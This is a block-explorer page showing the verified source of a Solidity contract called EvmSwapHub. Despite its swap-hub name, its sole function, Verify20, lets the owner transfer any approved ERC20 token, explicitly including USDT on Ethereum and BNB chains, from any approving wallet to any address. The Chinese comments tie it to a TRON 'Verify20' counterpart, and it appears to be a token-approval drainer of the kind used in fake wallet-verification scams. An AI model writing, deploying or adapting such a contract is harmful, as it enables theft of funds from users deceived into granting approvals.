Skip to content
Verified contractPartialMIT

EvmSwapHub

Address0x2dc539b4fcec06df181fe5cfd92ea58e927ddccb
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.34

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,382,045
Creation transaction
0xb39d5c1b44…2dd730d8b7

EvmSwapHub.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function allowance(address owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
}

contract EvmSwapHub {
    address public owner;

    event TokenTransferred(address indexed token, address indexed from, address indexed to, uint256 amount);

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }

    // 核心划转函数:对应 TRON Verify20
    function Verify20(address token, address from, address to, uint256 amount) external onlyOwner {
        require(token != address(0) && from != address(0) && to != address(0), "Invalid address");
        
        uint256 allowance = IERC20(token).allowance(from, address(this));
        require(allowance >= amount, "Insufficient allowance");

        // 底层 safeTransferFrom 划转,完美兼容 ETH USDT 与 BNB USDT
        _safeTransferFrom(token, from, to, amount);

        emit TokenTransferred(token, from, to, amount);
    }

    // 兼容标准 ERC20/BEP20 (返回 bool) 与 ETH USDT (无返回值)
    function _safeTransferFrom(address token, address from, address to, uint256 amount) private {
        (bool success, bytes memory returndata) = token.call(
            abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, amount)
        );
        require(success, "Low-level transferFrom failed");
        
        if (returndata.length > 0) {
            require(abi.decode(returndata, (bool)), "Transfer failed");
        }
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.